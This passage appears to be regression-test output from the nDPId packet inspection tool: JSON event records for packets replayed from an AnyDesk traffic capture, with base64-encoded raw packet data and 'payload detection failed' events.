Y3k0Lxb\/Kdi+w1C6\/lH0GXiOA4qxjsk5wD0f4hJQnm563i2ubOy1jqncoSb2lqU35o+8+6dex\/04vTvENp9RBAWYSxWV9MyoTTDbp12E+84aWXdsKO41gTxyxiLnnw3yT4J707azVqAGEYKRjsMz80iXzM3y84dwe+Dy793+1KMIELYoXYeKFhhVUlhNHydSu0c7bKTrIsgIOrp+QrnQhMH4IV3PpYpKJKRtGhqkguQx4MfZQK71cpGJnKL3Y2WcQjwqW87PrifNXJHvwF4LrwZCig6VwQWQ6+9VYB6ZW7WKSBR\/XmtWYwbRq3Jpyf5ys7UMqU+1ObbBf05WP4PvdJfMB+hDqW6WB7dHuoZu6FcHJRKKforMiIu82efh7sbWXbagf6m6HGeTqx18aXJhdcOnEJ8Nv\/vYyoNDGHo6WexhNlji3yRxLCVeVllJ\/xTMcDZybRqwV0fKzJ\/UaQREIcj5KMuElAGRzSmZaRp8su5Olt6eW1+4e9V0CGELlJpoSvRCb7BEBmz7gZHk1GLKoRWgd1ZbOKxIThSdhRIBzBR0rsnj9lm+IczOaOiHSM+109VszOzbARhASt9Neb7b7u3Hr\/Z4a0v\/IN2e9GgMM89lkZftfMrXHGeqNwOFc\/mo99oC5z6ljCtI33kdFN22TgNZO4LciQrThLN9e0akvQSpjxxb\/Q\/DJxF2fQjmUXlK7DqR6d1uZha2KBrAUhY74QOQbMBAJgRkbDlKlHPmwTOzatXuqz3rlRnq+Iv3aicaahGW8Z2O0EdX3S47eQkKqM4z7vzGeEFsS18taamcVm7PmqQA\/sK6lxliOBq5ST5jZq4G4AcqIVzeLVaePo+cc+A\/DxNGL6B\/Z+w6l2HyRo6NGGTnaK9DOV6i0n8UmBhVORqK9Gy1LpcACJgAc\/cL1RpoDxFPN6gC\/6kbNMa2EnxJ09DBSt\/Nxni0S1XV65dUx1KgChspSiQlGAOzjV53DDLQZcRy9BxPg9erVqmb\/sT7qvLvLiY9yrzZNTfu44LJNJTPa9Qv8zCvdDfQlEsePtucvdAqOo5mqkTuKZLsqrljzzS6oDYGcZD+q4ta8UbaPzxASTcew\/fMQLXnvzIEksq70YX2SU3xg47\/35+zUN4DADUQMyCp17+aCcXtRPl2FnzJ299tSGZvDxbR8t8uaapY0cl6xrg4s\/Uyk\/Lc1+2KQ56CaSkA9jDjIOdyzi\/NEg3CLGdYeVMYoXF9RihArW3gjQamPT2mjg5rV9jpA+jE+uOIn+5LEi9tHFo8A6dRxjtBoFsx8KY\/RFdrLO1s\/0pnU+ACQ\/o0CiR\/+OKs4Re8ikM14\/+EwxVBR\/l8EdwllCATShmA2kx+bim0IoxkYKW\/pA5mAEUlsLj6mm3kEHHrCViNbxLTO9Gkvp7H6VD\/eCMHl5jdwRMWWsMIj1VDCBN0PMvCAqt4eoq9P+lr7SxnnXRx1HIBmcigzfG2N7Kcx\/AzW7uBQjebS6kIS4+xEx3lhG1AOp+5wBLuTdgmm8mhGW7KmLUCwC7bJcACXloa5x455uYDDdfCdplt7n0li32FzwHm5OJ2kUuNSn28UI6l9HWsSsgaymDe32TeMtiNVtiM4v\/j37o7WydFAO43sGbWC\/FDdrVZwnHoRrK7fp8Ca7GQDyQ6rRRWpIswFR\/nr0d88HNLX4uW44tSXRBA6UzGQPyFFDOQKl3OxvfXfPfjkLi2VmKibSvGWBKIE61AJYNqCKALrUMlUfWcFM79gAwMb2l74sd8tuZ0FjTCa9cm5FAJkQbGyp1fT31BcxgEy6XpdiXM1Hvqae0oJ3ElJRswpF6Mpu9FUXSQT6JUm\/vfDmxE="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1769,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5149} +07825{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1771,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977611,"pkt_ts_usec":8565,"pkt_caplen":5556,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5556,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAghZAAIAGAADAqAG7wKgBstOUG56PLIG6WcQ+m1AYIBCExAAAFwMDFXlZ4hNO+msWiRhKzPhinTkSxbYcMGd13Bsy4tebXNY82sc3EzGKa8frj1VqXyyz8g7l\/d5eLReYFaT256rr4+juTJZNASqIHn9IAzo94iTEGmXU0xmHL1ZASA+2z9l4IFsfYyHKqD3Apb8SMf\/tiwNCp06NomR5gvlFWijlkBs7aLq1c4GjzuAe8uWOCtvlyzey0o3l0XadiU9FN4d2Zo+95T23pOy6\/E3qkFBhrXdRnxd0B+\/muaNsGAodIvGaPxfUVnf2W3q\/AhRHKsIEvxwdbiukaRCoAydJxkTGPFP8cNmy6DpiTu3k8uinxgU25AvEJsNLAhz9dH4PJQq+8sXVA+u5euSFC9waGu7Z4zWL6v\/hZJiuM8F6cygqibbTSGugCrUI8ad5GjgEkh8JGEPavpUNbYOsNeGz4QREkxCBWTXKYc9JXZMq8J5tCBaF+pn\/4+HFtYbLcuhLGhigSZbXBlsB\/Gc+2uSI2fAJa32hGbgs+5P74gnbQJQzCAbkljQE4r56z3mbdlICaUgwiGkHmvZ0\/q9FqftRTIM3YmnxJ9dElzUofNKjlS13GhS1QN1Xu6Mfcq9DvOTpkZxPK9fY5R3f60qiIbpMB3MqDSjt\/jZbQnVCUErwKoq02w5ZRQ\/cqxah7O0j57nzzLBPejqveWQYjHqD7qVqrMxGF+VGVOSYivx58dwXAy8zPnekl+akPA5BhMDCVS5S3k0DwH8RH300tsdRz3gDxUaMFpU0BDXoXS4YxvSLTG9HzsRGcZzp7uwI0GC3HGwoEDrIvvgycZ5DFv1OL2pHJkUWjxYkvX2+cM4H+6jF\/m8FOeU\/UKO2tm17LIjxT2mZVa76tQOVezuCDWPS2UtBuJMc7kEfAPSwU3v7\/apRwRidnn43I3yj7s3B6lg1mzctRPKNYs2ZVidJccEYLmnaUOCVtiMUxOiKRKtGWoOC9Kt6nsf6m8dxz0s9U4+lXRS7XB7l8bPCCYUlIgfqU0IivTiCXkbKRzUZNCajRNuNa3Ce1F2t8Do\/DFq+bAOaDg2EBsP0nE9+Y2OzdiTzVnvcRyy7ct30FZrfaT1ZXWlNSJaS8NtS1zyE7wGczAGLcxGJDbXyxJUc1PQLQkmTb1HP1rqTUKGJm74JlSxuTaYWYzPsP6sb67Eyx7lE7hpiF6yse8AbnBkQ2BzTHaVQPGEemyagN3NyA7wRNcoKTWI3Vw\/cljiv8a\/vdV2jzfuqrmPBCSGKwcT0QV5MzrLKOV43JAhtVQ30hMTrzSjIwDfn3yVLXUgmRgUNlu3RYfPskg0YSPUIdbkY5Nz4DJwpkfLlAFhsNbU6ChCKFes0k7JTHbIFkx3irOBfJOzpkTpY5kBhY6SB1wvwAywYFOB0WgIKQ89dyJnmnlSpfPI4avyZPdHu6mauFSV0TFQcbcMLCBNVvIT\/wDhuqPb\/OCa3bdsnbCSXWS4VAa0njPEst1dJxkxiAQiHBIWNFUoQlldx2nF8LnKa4jw0sVIkWN6flYBawzz4SddRpiRMU1Tya9VLZZwYBLgnhEK+bDnx3Kqs7JdnHrEWXSgis0b46pi9p2TGlMTHyqaZQ8Aj2C\/XqwHwHCMq\/j+aZpAawB1p85feeWCEGnRSCqA5oGXwscN+\/vhAdP766SvEqappx9VMr9o3DR\/FTQH+1j7leetZ\/mGIkb8AriuzuIMi\/02GxUCpMVSXRIscSeCX31NNcpa7JH3ClX8zzld2TP\/RpyNFx5wPncKkKo0xc1oeuRnqFfEK3uim1mDn+spK6qqZIXxTLU0zn+JnLYz7pwF4XwjAABHe\/DziuNpEmB0iV8gVhJa9dHpOIeSNneBaiPRyTLLhaNj58vcINakO28DP3cRZ\/ekRaLWV3GYef52FYx+lURDylu4w4n5Cz7MBCew72XyD8gF4ol+kKv9Cgd392b\/dfYwfjqK90UgZw9Ri8k8P63dEBs6TBTQYjxP+SVYVavX5HbSZ8MA1Odd4Yzc+SLXmDmX8\/pmiRkVx3laN1Ma2+oVsl5aGupE7p\/43R9E\/5fS72zfWnrpKhZHvM8G0PNsyHq12v\/3JoM7LG14gCOoZY2OJ8mr8pdPFNMup37pmZBPKNgQanqCfwd2j6LSui8HGfSgHwFlG1VH1JfRVVtEz0xdiaHvwRX0dLqw3NLkfrcTXLmhr\/Fh4dmFUn0xiCJNnEj0Ds4BNofQot2Tc08V2WGhRXSkUt8wAddDGsFKxwVQFnhE0GziisGYUpJKbzGNjpTew0DLIw4SiTzo7NO+rYSEql9Zcjzpv+gLBw9ZxyhXOnbVYYKdv9rJV9VLE7tYgHX\/U9xGJ0Vwyr5kd7GugomNHenvrdu+9LTo27wSIJY6bFCFUVjXgoLkkzIOkxp4+iywdwN2HgxU64ZBL3Ww5KOnd6pkSrgPQ\/9uWEL3HOdEpOeWKf9Km7gHYysc\/e4qIAJdcJGK+jb\/MwvMrAwQyUXwHAM0dqnwX4ok+9E6fyXEIarEwnijCoBwNbi9WkLmRAATMHDuUihIrTf08yDZnWcOBsuYmoaQZqE9xaL6H\/5fRGzJfMAuVaSNATodiMDhC3POJpckIfU3HhYmbGyalZalAj\/rT\/aucFOSduaofrvKxYyIzosmfGU0FiKGWEIGjfmXedZ7ZToJXqMPsj58B\/P+vGfuOAfkvatEKfDcPrT5MHHbgm3ubOp4VNGwdEgTjGn\/dpxKVExAaOuIG+BjSlDf\/BfO+HHh8kcj9fHG\/5bmN5reMNb8x9Gx0cJcUBiIzqG9XpomIjqQNG\/UX6od1Hp+fM\/KnTnfGUGiGXILO782YKn0KPd3+HR118Ewh+nKv1WE\/sYJ8mSSL4o+OX9DZ7ypOlcv2AzZwvFC07vG\/VnTt\/YtEc8HYmAHMyvyIn+eFEJf5WKZKZroxB8eaLON14CEkjRUwxbgWIoMGagprf48AXU2GgQ8eK8pdhK+0GM2nff8pdADy3Ue52y4ib\/s9dbkoxnb75MebCH0FtnPlOu8e2X+EiI2eTBjDg5P2wDHVxLETsceDLE4sFv6l8UmOtsNbP7rvLA939Z9\/Og6w\/sesiNixf8OfDe2kbEIhREwRRRC+7dbfqX1JSCwQvHnMeGO8eilXCqewWZoX7t6eliTNNAkdZysVKMwp+3m8HRdEHWKA3f9qvRbPLmn\/j6CbsSrzY1uGnqkdM2JBr\/jv6qB3QHHgBJyFW8IZDKrcw34Giadsf4Rip2K816HNwS9h54SfsiQujMKhv6PlVasd\/YmAUR2gt7VvHOag+KfiSZlmJ6sFPMN0ob+MDhRSplAbHxPxkNmmfuFATSyafj983O21jdn8mQaYolDbRoZX3bNRBsROVItqSBNxGuW8AMcFZTYpLhVRlMTMhLaWEmbXDV\/RTp3QshIMdPYX9K1VNfZmP3dZCnGxXt9mzE9\/yrzzYqPPTgdWW+gQLB8qqc93xxPwTL\/U30emPWE4eOIkm5icnkssI3jRFQFiCnC+rUTtd6A7MuAnK0BNoH90gUvyqA+3w0PiQdlA\/7pByjwsHHNXrusthX4gfUvySGT7+hLgwOg2vpwK4XoXl4qG3zQUvmiF9jKnW5WrA+r+JKJTsU+Q0d44gckl1XingPKCyJMK7kzufhqWn83YLjNL4pFd5+vv0BMtbVTGFVX7oEd3r5T01pB66F+2qsCMWOhn7WX7Tyegk8\/yzFu8QS403TyY9b9X2ldu5+pefP+rLkTwo\/y04dffFBD+bNB31RK9Ck1Kkz2rmBa\/fE8yY1o4PDrvjmgK9rb3\/NLk+RnCKDr67gTL4XujRRXuwBe6YGAQ+u3FdU7KUgvEd5Xm6l6JoUENuNG0\/56LQmih58iroe94e4zH0e\/2NgfhsEHcoO04IUw+3knCSPkfhcCMk7r07DKyblfUG3bfqZAMc\/xddUdpCW1XBE3PUjqStOJTnCAASTeTUK0Ab6jmfNEXxh0uo1j0TMg1XVMPb4fBWradFJEJGHyMhTMfFdhr9ZcbeKFpHdxzr5B3B5x4R8VTORU7EZqjXP6eUE2sCMKaEIu\/YHt2HyH\/sumZL2MRzGEil7QkMYIAPrjd93cJZ3TGkHNhrVYLwspuhSligIR7InO\/tgmC8SQ\/378vsAXPLOaPasPSKNRTpsXWrI15z3GafkQlGaNCQrwPRV8B2Ln7O01YVGl5lMMFfxNRVSV4PvKa+Gynrsf9wFtiqxv2VnECVAt4b9GGWG4aJiQGiPIkqm3qMPcr5DqClT6O5drrn4IrigkqrZccVY1KZxpr9IRmUm+GEiGv6D5syVN2tgtS8h0FyBnv\/JqQDHiYwC743cDygfpZvG2nQfO8nnChm+WgS0pERnZJK89iRZ+vbDgNzVJLXLID+xpbrxcZRuvvUeHdL+6vyo\/beJ\/UkIG9mOVXypAZ4m2o8h\/PrShqaK7Fk4bOjqq\/g5CM3DXUdJLPX\/f+oXM5nxuyX0s\/05WtwPMYMOqTueEsoiOo270692geUiHeFX\/dlXynf2AtOQ\/Y5ZE+Q4UZq94N\/WwEQnoVpQHjRr7CURaZezCZNvMJ9QAx3f41UNh8GocOmyzlqUe0oqDQhzKf7fR0ekR6fBlTjqY9dUhh93RVmWReIrA6jBvL4BCYcMO9BY2vY1b37YQALy9+PdXoOhWPLu2nSSbmQk5S\/WPvADJq22WQIMR1NdlhQqlinBr2mvAePY1C735DGnCJNMSmqEVNazjmSoCv1Cu0vswDsNDRWOBrIdNNXH0CKKBd2Sxgac2YDwaxhtaHXAJVLgKle5I3f7kSnBMbXyVcLWgZB4TZl2Q36i44kla40JaMyw+5P6TCLbOzsjm7Koz\/1xUR\/ZjxCC9vhuG1KcC8BDxCDqwEpvksEiZF7o5TgGsbQVdEkk1ZOJLABiXWYj8qdS5aenD0d7k2gasPeEz3vNBb+ywA\/r4o4pIIAGH7u9rmkBhbrD6sXv5u23yZQwmCJatXFR80xOphMmXovs4jm+wAVb2camcemGGQ4HrWP2eBhqQJQYxBwRE6oqlLiX9FmHIdu\/LDD3mchF7PZkctwIMHW4Rdp93Eu70SVqX0IwfjK9Ojov6B+83SStnUx8G2Tpo\/bldmHoEraRqOgIkTcvSJYI67F\/hea4IkdYyYsir5NmoNZF62G+SHKk3I1q0Jpu7QvzjxCdPLcj\/iHNHh+mzNsG7DU1kqI2QU2zBbtkHxqTcnWAbFv3x9YJ+pIm4WoQHu09VA2LeLY5DzHe0d3J\/zvOgmRxRWK620BR6LVCVn03yLmnpDPihzz0Th7r\/4ob3jFtxWQu8x08NX4rvUggTPr+RSTGyYPp4hs+vHYgx2mDaPAcel8wpiC4xPX64dK3XRA+vWQqGssCX6c6DWARe53tyRZoc5gVddGKePxNu5sS1Qa\/b79laRvPw8aEzDCKGZh+cyXWU2p42IB373sCMAVrieHOGJH\/ln5oL+t3qO++yBkNOl5AeaUQizyJKYkDaBJGYPmRQDae50zSePijwAijb1UxLoEUgs310hBa8Olvx62+MeoZ0JfUrCg4pkC1cghVdAgYrQy5Be7GsydTH2QOPZj3q81DJ6NALZ8usJakSBZNNcDulXYInAXzT\/FGLkyjjO+UWAG7L3Yrh19ZikGQya8av11ceDxUluAVWzi0wCHla0SkjczVHxSSB5\/\/kp1laCtNWd89bachGSjJv4pDWdIErxWZCvlK0A240dOu67vLo+7VjLIG5EKay2V+AAtohhBbgADxoKjQNuYOlBnah5I+MrS3RD8mj1kZA4SK0Hz1YO66TrekUgoHHbMAhTrEgjyTvzSfUE8Ho99VLDmgtpV8GOAWi2LjOm88VaHr7eMvMzn5hr0Dfca9oARqP7H\/H86LruzxsonWAd7iKErot5qZuiKnMxGXhiGVmZmo8BzDtG091LYXC3Yg6To6t9BkCaEze5puka63Z7ZuNQStVQUL7bXhw0vnYPwkTPCLVeoGosuDhouxfFKZRluGf+1gnCOVEktQE7M\/Nk\/hv5df4nlqqSJ02UngZsRc7b9YkqCWGjXrqrzpNZWLkngIAJTHNpKssJqb5AgkKe5p1JDXTn0eZegFCuNilzY6+tPVhoosRB+8zGaAfy9k6Mzua28PDnpl29C65OOB6vKpatJrWss7ZFyMPLTUfoQvRCcmJL1uUIa5H4ILjmc2dG0V6bAjWhwpCH\/VlbJomMZoVt1YE6K15UE+\/s1ZkMm+cK\/1ecEd3IIe\/PHFtWg+NkoesCR8+jjNzeO1TqWQIBJOAxBDlKhbnwXjHeaQIDBKuGK2vnXbD6PPLil++zJrYlXTMJAtV3Bvkgj+HnGMfYziqSxxHj5mEbfgrHjeHGSMONRLwD4bZA7usMOe+1GYrEReOEUqRrwokSYJoYQv8qKxsszguDa0FberFMBm5vG5GibMkcdLl2QFm3ZDWC1kCqJRN7IgFS1mmtnj6a9X5TR3MGVIS4vrEo6KfgKFDr0oz5VTrJubjr71ZhXOFFQNaKhDjsxgxdiDSWf8CC01At9oHX8Uby7wlIDKpu7N0OO\/4Rj3X6ezu5rzsY8QHDPMXvHiKDgdOzmeXII\/OZGFVFkpVjGFTLDl3jdpCALfOCtAWXN92eyj42ETbAPBFpNG6+LHqY3vbBXLe2eoFv2P1p3vdsytMPvsvyfTjXEUjH5jlE6zP9n1CKNnA44PrchwMr3cKS3etmZzhZadoeoaCd6EpBmEIV0WLTQ54\/XGUvmp3c8MZ21F8ltavV+ESqzEIgy8KCey7+mBciqZ0aJjC\/72Bt8NgPxX\/Zv0t4IJPW\/PEgnnoqcdV3lU9zLsX+IGSR5mgPWs8jI6ArEcnVveXffZ27wV\/hLhQHxZkdc3n+6q0YY1Dy05SfTXPO41eshXOA5cvoTG3OzE3NOjGVidISIoT0hay7mwxS9u4WEhsn7rGNg5TqqLk6RcQ5Ttj6z9R+A\/W5tJCu0sTXIMHXClH6Ke+e9z+aoQzx10Sv6PnUIwpf4C5jafHvWtfBlF6GZJeZpx7JmnaCyVWoXLI+PpTmnEVJ8lXs66d1jJ4x6\/hVx2CUwDayqPbPo5Lz7G+z7xlfkthhpvnqTUtRxDeLHAJeHZ4JQSHhdjVPXsY8JDLkLqX0nGuYjfUkYvU2Y040r8\/38cBK0o0AVDH7WLPr69egE0BioU0iZXceCzqhEfuBeuco3wM0RBaoqyzFfkj0Tyz\/IwXF++RwV7HFDS10nnFdIbFE+5a1Dt3vf6DLIfHqdrkJwA5zPgrAqHMawj0gtmQujiFIOGQblYuczZ5YuFVWw5JZ6SKhwPhL0do5NgdAIe5mRwpLjUc0u80muNhymKdk2UvmRRy2HVR70Dfv"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1771,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5522} +03276{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1783,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977611,"pkt_ts_usec":40597,"pkt_caplen":2191,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":2191,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAgiZAAIAGAADAqAG7wKgBstOUG56PLJnlWcQ\/KFAYIA+ExAAAFwMDCFRZ4hNO+msWi2zxs2Ok3Si1V46H+Rn7r73H28PUw9OoIGit0dNVkZERGH77uClMWw+7D7O7aixBvVjwWpVxwXs1H8eoSyh4Mz2vEEfPu2AUjkHXFAFd+xL9wzqUJ3efEfDuuaTDq+7evoBZ5Sn7DRAAD6kMrD634Mt0hAyWfJQ44g\/Stnu1q2fCKnvhUNaAfbC4WxcMPu1AkEGuMCnOzwK+740ejFTc2Kv5dtqVb5o8FslNaVA4tM\/VR44sQXB17HlrOGoVIrmWZYmtM1JACPMW\/ea7cSgPJlhMUqQupMPd\/MQDZJ2EiD2f3CgODo4HYf\/IDO5X4MTmzT8gPOUFzaoosxgOlhT08AoRxfKE6RkUEW+y+BGGvnHUJN5xAA1EZslyjkv\/cAoioBHzjb2HyEiR4gY5dDgWaUIFN\/qYU89Pcn7zVXcnbFageMM55HSI5vruwr7wZ0CYEh1ExRx3WWkwnM9ghk2Js3nrjg3mPo9zAIF9i1XofgC4eQqjIMzZrVBeQQGPSLUqaA83UEPZI3FbQ0IbCG1iNnVJjsIR9m60p2L8\/4MYY0kU1xrmPrWDuA079o8dREYhAcuf3KY+wvCQpc8Yd44ISxR3Tc2\/B\/92UqOv36sHjP3nUh5\/T2TBiI7XhoCXQ37oOf6MLMMlvH5Oft2kd2FtynEAniYdc\/tA5CQ7ShlOa0P1y5vtgWbKTbligPmyz6s25zMGGq8qN3JL57U7LW46pVIqL9DbsskGyuOS5mqZcyv3RyqkuNrMt1jwfWzFvtZbola8j+4ITM\/oeg3hqkefG6z85dvrmrpn55TtuA+J5gotvVNieMSv6rHsXwTD5FQxofXVB+dRAB9p\/5sHoPNJZZ3Y7wXSSu7aoXNbHu4AL4MFgeuHw3mV\/+Tb\/Y9sCWUo1tz3DXr4gcVTdo8Ts16ONVKuEVuM5JQZwEyDga1jOKJWuNsnXqOoWuhEQERUlBzi0NpBhlHUKE5QmZKGiHWS+nvMLDaKX23g6pZ2+xPviJayP7nTiaRdRPfjKKDIQAjwskpiwFf6S1rKbFQJTHgDwahiMhAwWxYASac2HHhEweQXLZmHFuky+4d+0sN6PIHIzsXYtQ+SSAQDvlPNsLG+\/+hYcQg69eSr3I1QT54L+kxhmCzeZVdzVZ5eysKVQhFDx2lUzotHJ4eNiFwbw3J7aYARC5\/\/rfpm9kpmU0iDoRf3bZ\/r1RBdtSOwL8fJ7co\/2lxi0JPREWiL3oLNsJ7U3KfvMewZK8yCt\/7V6uhszdJ\/3fiuWTZvexTL0PBACXhZXOWVsdLRugiYoroWwYhbuX1NA\/ZKcJTVGt3II83S79+SrxeXevQv9PLpRNiO08uyilmsoLPl9Jmxf9p5HPNJ\/uahx9ioW4+XnfNxjOUVjD\/Ji7sdGZa5lLB9YVJUI8NWWqkNyc8DfEiNXjAykuSoHDYP5SDj0HDnq2zFU8a7tUBqPZudprpCmOjGkOg1FbSwyoOsv1TMb9Yo5zWJ8+33EDK87XwxCH9bgXAKURa\/aEGkYYFEJ1W6\/p6fxIV81uf6JEwxiSJIXRIuhjVhgqnzZeK6iQka\/rT1rbduZf6S96jtK5FD9aiPhre7ll6tXXi2TPbZ\/hZsOpKZ5B3rbTNE7b19dTAAFjJYOcUJtzo4zxc2yl1A0E3TIo1wdo+NA88Qp190A2APQW4uQsSLqy\/WwA4O0csQv010Fh1wiLTGcKWxblRI6THOQiI8ak\/c1N6LGdIj26fGmUadQKMu2lA9F6WYZJxuGO41a1sgjNQyynGWg7uEod0zDXwZAIDpOoKUn8Ryef3uaZ\/GYU4S0NOgbZlR6RyXH7ej+UBH0EaKKHlJePuLpNuXvqvLUjS7uYsKCvs0X7+DHMyIyEyp5c0fLxo848ecSACQBjb63Y4\/louy2AoSu+kSINbYWQ3FjriRJRWyy06lt7UGpLq3KRFuAkj4AKPF7aWP51z3z8rl+LQRG1Kxc7Bvdp5\/KdEuqWniK+z\/DmYhs2AyZYBBN4G0pMd+ztWsGdt\/87dZuYQoaqF2cbIOTyYvL2c9P64JSp816oexaMLwI2KU+4pJZ6W8KXeKRX9KEKB7yh8P3Izwl5BRJboURgNMHKgS6vIXAgVoJLpPQMFhEJmZRAI4JNvBnnPyoKY1soz5oqBsUL8hgxOxpe8MVaCfi942TKY1cDcsw\/eyYaL0c7MLZnaZ3EAeY8etqXN\/EG6AjIwz7XQjydUH+PAnnudc5tbxguUbb\/sPIQp5+ZwG\/1FiG5mzx9kdEnTaaTIUSELjVyEvDrNcwqFnWs3uuEXuUdXDyznL\/Wjc8Z9s6pydldm28JOZkbQCMmvjvQFUAyV6bUmGTcJn4Lfjc+xTI6AzYbulcMcAoz1\/nii6LwGNALfdIgyDXS9bKUjJysOjrE5c0CjIorxm9iiq62iwV\/xlYtSdAVphuJdgNr5k3RnuVCAFufD\/VYzhF8XALaDXFrPLNaD+F7XaOsHkfoaHabI3rRo5nOnf3RYMrnQiRHHvGaqwzhqXxmjkz6JLcIrf692pviCaMxq1OQIyxQeEfQOVsMqkfrZ286T\/9ig6xdY4KCxGU99Yc+sqvWn96FkkplCSJjIhVsoaT690CHeS10GL5iURfqsAIUrzwbv3z1cPp1mkt5Q9NZd1XUIN8EHRyHzXJIxKiJ+rcK+h+x6Eke8ShDVMVHMb5+WxBu5kwOO0oZa1q6Bd\/iNhvkvCt1KPWkmZrk+1OVrktHtPHnamBJSNdi6lhfN5ivHnqIVtFUtiVlBfAh2B9iSzljq4gKRYntzL2ez4SfSytevgODqunIOev7Mdq6Nnpzlb0m8HPlsNnZ63OgD98A=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1783,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":2157} +06622{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1784,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977611,"pkt_ts_usec":40778,"pkt_caplen":4664,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":4664,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAgihAAIAGAADAqAG7wKgBstOUG56PLKI+WcQ\/KFAYIA+ExAAAFwMDEf1Z4hNO+msWjG+DOrpfz60U\/asaw7wojU5mZuYGshbKjx0Q4gcr2i9MhoS0TqgiWD0NXWOSYa7bny+1TLhEXZxQKePpjchpl1jW3qwbp+PQ1tIzMHaxDg6Fk7fWZshTO\/iu8Q92Ukoj3D0Ys\/FPQJE2de7VO0kFxfaDxwk84y3ctBVp\/1miqiu5SwwqfFq8NYZKiQz7vHlki7sUbb+mPcf63AO+JbQdg1ghp5eEF+oVdjQMK1uHG\/cTNoBzLElDFrYZqzldRzh8\/jfBUf4S+SiGSWjE1xUt5YkfsaF34vVoJrcJgBndMeKtssIhrWmpaMa3b9BAL8Zq\/COI+Aa2IVpmxbJpY8y+4wGKoQpEm9q8LsV3nP7WnjaZGM4METVw1J2syZGuJzzxXYTWT8alvTiHs\/SRoqTIDmqRWsViJ8ussjHP\/MNvTjNv6PrIAVLUHW\/Enef10I71RlXgEMv68c7c6ZQeD8OjOPxEXA0a28Cfqanp4dc2xX87TILo8eqiMCtYgwXFWg\/E+I6BezLQsfZgEFLdAanYphyeJwh9AllxIkdxY9TEsYZbSv1sTHnwOp+lCLoSkviOF\/s0xYM2U6mQghHd8jRtzqWHtAziTQrtZdGxwUtr7jGjhXsS7xXciHgJ8Xea+8VyiFTyEZZx0UjuPq357uFUSOboTkiDAutjQH7H3FzpAMv9E8xNtRuATI\/j5pmEDGUUh+9ZVNlDmuGVXq1SCFXBELj4M3RI0CmjmDfBc9Wne6T67OSJYs\/uUrNGQqx5uYy0lvYYaOOtJKzIRGUUCqb\/KQWh716uq\/Lp3XgmMI5xr2dd0HPDZw+DaPhLpBx0\/yqDGYJ1O1QLN\/PmeMo4uKjrEoagN+cdD6UrcfCupXO8pVMgXmN2qvgrFH1H6UM9064Oykya6fm6HxRKKEswfOa90YwmQbSMyFqaf7Py2EjgWXKNoyTQdwH5N1+WbgBbgI0JGivh\/4WZvafN3ZbOEajqMQ9YUZUrF0PRwLyy0mwaXLPWsZ4xxxoS7ru1CGry0RJklUCuC2XXSl5y2TLyecYeQF8gDFlrGkxGdrAYew+d85cnUw9yyVxj0NWYV3V76Fr5J7pL6Zcf0ysYPZXptkF4ptVjf3ncv4Z3KEAdalSd8rby843duDMolxEBpQnJQyMU5lZoYDyXjfJugJwY3g+wYDYn917xdeV82uJclt99JI8jnbGkzMDniA0U1z+s9nWbXOnlk0aGnlQJUKmeYQiiykQPrrz5ript59FOEWUOYv78fczmMTep8lQIeeppluu+lI7GacAq8\/YzGu4sBkGwmZn\/uA38vCTCi03iScA0+tiqMutVobGU3EyxNyy0WDn11cAAe2mItLzvWsm+MF0iKHoHmBgvKxF8KPcZ\/fcE3YYXtVBpGDE0ZAYsT2oiICOOoqdvsONTGPMsH\/4hBORpLZxZshkHMBmrMKl17ah7nDU0ckA214o1Id+4F8d8u2V3+HB2+ouriJw4fhxTLDVIiuLGbcF6HeP73drj00ofvkOGD0aVREWaYRPOjXRg4COHJLrhFeSzg9+oxLN0taq1PGoq4WWcPh6H0VLZOkgFizfx7KF8TWoeElBT8HIigtm6UgiwfSFRjkSFeNG5WlOsY3J+wKpxDZ72rozZnwPGp4U20q2HGSEIm+xlzcBktiR+Y5NcVUO5hFwRXYZGGP\/H02XtqeiHjYSFTDhavkyeTqIVHHV6pCaGZHopy75rSlFzI5Royd90aMbN2QU5YIDyLAQC\/6\/YlNtyQWqIe1pqucSdIhSW0HlO2xlTCtir2NtQPOBCUYflQEXLXPLJLGHPlMx77Jx2B3SMEGByxqBy0MzK9BkekSlcu1OqlmR1UVFcAB5mSm5LB2JK7XE5Taq+j9VNf2qp4pcrq9tMmJSeHYZLLMybOhAhZwr+zATqZF\/pFtPQD5ohNXqK+ZanDYYtp+iEY21Qx1GuAA6N5GpgwMTZn4NMvK2zl8DFQPqRZdx9FNBlD4+ERuPCFYu5PLG0c1Kg1XW\/r7p3xrU3CYrmI6rjLMieTGpceat0kOfgbjEVsVCgbRINWv1tUvnU1MZNTm6B8WYwaRgZmA4LmlDNoETEw8R9rL9BYZ1BlwMEyuK5LWfxrEfgluiUwYgrL+RtaX3+UiciGbzRDIY1ad1GtB73SeXRy+KE0kUQn3KI2cj0cbbY9ijSPrn8wMPh6ha1\/UuLZFSytnc3k8OSVYLQAHTl+65m5BBBVMr8Z3xmEMh1Gus050YM9rBgFoAMMHebSTxD9LXLkXMXb89O6I7Zh1sNzmeS0IkBZuixP3V5uZ7ANBDtcZVdKkfOQHwV+3\/xCQLrVBS+wPZq3W+BDyv6Q3bf16MaRxB93eWAKY9fWLjI02p0ORecog+U4HQvLKtHTF